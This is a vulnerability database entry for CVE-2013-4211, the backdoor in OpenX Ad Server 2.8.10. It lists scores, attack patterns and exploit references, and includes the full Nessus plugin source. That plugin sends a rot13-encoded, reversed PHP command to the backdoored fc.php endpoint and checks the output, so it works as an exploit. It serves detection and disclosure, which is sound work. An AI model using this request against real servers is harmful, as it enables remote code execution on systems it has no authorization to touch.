Vulnerabilities > CVE-2013-4211 - Code Injection vulnerability in Openx 2.8.10

047910
CVSS 7.5 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
low complexity
openx
CWE-94
nessus
exploit available
metasploit

Summary

A Code Execution Vulnerability exists in OpenX Ad Server 2.8.10 due to a backdoor in flowplayer-3.1.1.min.js library, which could let a remote malicious user execute arbitrary PHP code

Vulnerable Configurations

Part Description Count
Application
Openx
1

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Leverage Executable Code in Non-Executable Files
    An attack of this type exploits a system's trust in configuration and resource files, when the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high. The attack can be directed at a client system, such as causing buffer overrun through loading seemingly benign image files, as in Microsoft Security Bulletin MS04-028 where specially crafted JPEG files could cause a buffer overrun once loaded into the browser. Another example targets clients reading pdf files. In this case the attacker simply appends javascript to the end of a legitimate url for a pdf (http://www.gnucitizen.org/blog/danger-danger-danger/) http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here The client assumes that they are reading a pdf, but the attacker has modified the resource and loaded executable javascript into the client's browser process. The attack can also target server processes. The attacker edits the resource or configuration file, for example a web.xml file used to configure security permissions for a J2EE app server, adding role name "public" grants all users with the public role the ability to use the administration functionality. The server trusts its configuration file to be correct, but when they are manipulated, the attacker gains full control.
  • Manipulating User-Controlled Variables
    This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An attacker can override environment variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the attacker can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.

Exploit-Db

descriptionOpenX Backdoor PHP Code Execution. CVE-2013-4211. Remote exploit for php platform
idEDB-ID:27529
last seen2016-02-03
modified2013-08-12
published2013-08-12
reportermetasploit
sourcehttps://www.exploit-db.com/download/27529/
titleOpenX Backdoor PHP Code Execution

Metasploit

descriptionOpenX Ad Server version 2.8.10 was shipped with an obfuscated backdoor since at least November 2012 through August 2013. Exploitation is simple, requiring only a single request with a rot13'd and reversed payload.
idMSF:EXPLOIT/MULTI/HTTP/OPENX_BACKDOOR_PHP
last seen2020-06-08
modified2017-07-24
published2013-08-07
references
reporterRapid7
sourcehttps://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/http/openx_backdoor_php.rb
titleOpenX Backdoor PHP Code Execution

Nessus

NASL familyCGI abuses
NASL idOPENX_2_8_10_BACKDOOR.NASL
descriptionThe version of OpenX installed on the remote host contains a backdoor and allows the execution of arbitrary PHP code, subject to the privileges under which the web server operates.
last seen2020-06-01
modified2020-06-02
plugin id69371
published2013-08-15
reporterThis script is Copyright (C) 2013-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/69371
titleOpenX flowplayer-3.1.1.min.js Backdoor Remote Code Execution
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(69371);
  script_version("1.7");
  script_cvs_date("Date: 2019/11/27");

  script_cve_id("CVE-2013-4211");
  script_bugtraq_id(61650);

  script_name(english:"OpenX flowplayer-3.1.1.min.js Backdoor Remote Code Execution");
  script_summary(english:"Tries to execute arbitrary code");

  script_set_attribute(attribute:"synopsis", value:
"A web application hosted on the remote web server contains a backdoor.");
  script_set_attribute(attribute:"description", value:
"The version of OpenX installed on the remote host contains a backdoor
and allows the execution of arbitrary PHP code, subject to the
privileges under which the web server operates.");
  script_set_attribute(attribute:"see_also", value:"http://blog.openx.org/08/important-update-for-openx-source-2-8-10-users/");
  script_set_attribute(attribute:"solution", value:
"Upgrade to version 2.8.11 or later and refer to the project's blog post
for steps from the vendor on cleaning an affected installation. 
Additionally, conduct a full security review of the host, as it may have
been compromised.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:H/RL:O/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'OpenX Backdoor PHP Code Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2013/08/06");
  script_set_attribute(attribute:"patch_publication_date", value:"2013/08/07");
  script_set_attribute(attribute:"plugin_publication_date", value:"2013/08/15");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:openx:openx");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2013-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("openx_detect.nasl");
  script_require_keys("www/openx", "www/PHP");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("data_protection.inc");

port = get_http_port(default:80, php:TRUE);

install = get_install_from_kb(
  appname      : "openx",
  port         : port,
  exit_on_fail : TRUE
);

dir = install["dir"];
install_url = build_url(qs:dir, port:port);

# Hardcoded rot13 strings
# system(id);
cmd_linux = "flfgrz(vq);";
# echo system('ipconfig /all');
cmd_win = "rpub flfgrz('vcpbasvt /nyy');";

# Determine which command to execute on target host
os = get_kb_item("Host/OS");
if (os && report_paranoia < 2)
{
  if ("Windows" >< os) cmd = cmd_win;
  else cmd = cmd_linux;

  cmds = make_list(cmd);
}
else cmds = make_list(cmd_linux, cmd_win);

cmd_pats = make_array();
cmd_pats[cmd_linux] = "uid=[0-9]+.*gid=[0-9]+.*";
cmd_pats[cmd_win] = "Subnet Mask";

vuln = FALSE;

foreach cmd (cmds)
{
  # Reverse the rot13 encoded string
  cmd_buf = NULL;
  len = strlen(cmd);

  for (i = 1; i < len+1; i++)
  {
    cmd_buf += raw_string(ord(cmd[len-i]));
  }

  # Send request to execute our code
  res = http_send_recv3(
    method : "POST",
    port   : port,
    data   : "vastPlayer=" + cmd_buf,
    item   : dir + "/www/delivery/fc.php?script=deliveryLog:vastServeVideo" +
             "Player:player&file_to_serve=flowplayer/3.1.1/flowplayer" +
             "-3.1.1.min.js",
    add_headers  : make_array("Content-Type",
        "application/x-www-form-urlencoded"),
    exit_on_fail : TRUE
  );
  exploit_req = http_last_sent_request();

  if (egrep(pattern:cmd_pats[cmd], string:res[2]))
  {
    vuln = TRUE;
    output = res[2];
    break;
  }
}

if (!vuln) audit(AUDIT_WEB_APP_NOT_AFFECTED, "OpenX", install_url);

if (report_verbosity > 0)
{
  if (cmd == cmd_linux)
  {
     match = "uid";
     report_cmd = "id";
  }
  else
  {
    match = "Windows IP";
    report_cmd = "ipconfig /all";
  }

  # Format output
  output = strstr(output, match);
  # Get index of next line : ";if(this.className
  pos = stridx(output, '"');
  output = substr(output, 0, pos-1);

  snip = crap(data:"-", length:30)+' snip '+ crap(data:"-", length:30);
  report =
    '\nNessus was able to execute the command "'+report_cmd+'" on the remote'+
    '\nhost using the following request :' +
    '\n' +
    '\n' + exploit_req +
    '\n';
  if (report_verbosity > 1)
  {
    report +=
      '\nThis produced the following output :'+
      '\n' +
      '\n' + snip +
      '\n' + data_protection::sanitize_uid(output:chomp(output)) +
      '\n' + snip +
      '\n';
  }
  security_hole(port:port, extra:report);
}
else security_hole(port);

Packetstorm

data sourcehttps://packetstormsecurity.com/files/download/122768/openx_backdoor_php.rb.txt
idPACKETSTORM:122768
last seen2016-12-05
published2013-08-09
reporteregypt
sourcehttps://packetstormsecurity.com/files/122768/OpenX-Backdoor-PHP-Code-Execution.html
titleOpenX Backdoor PHP Code Execution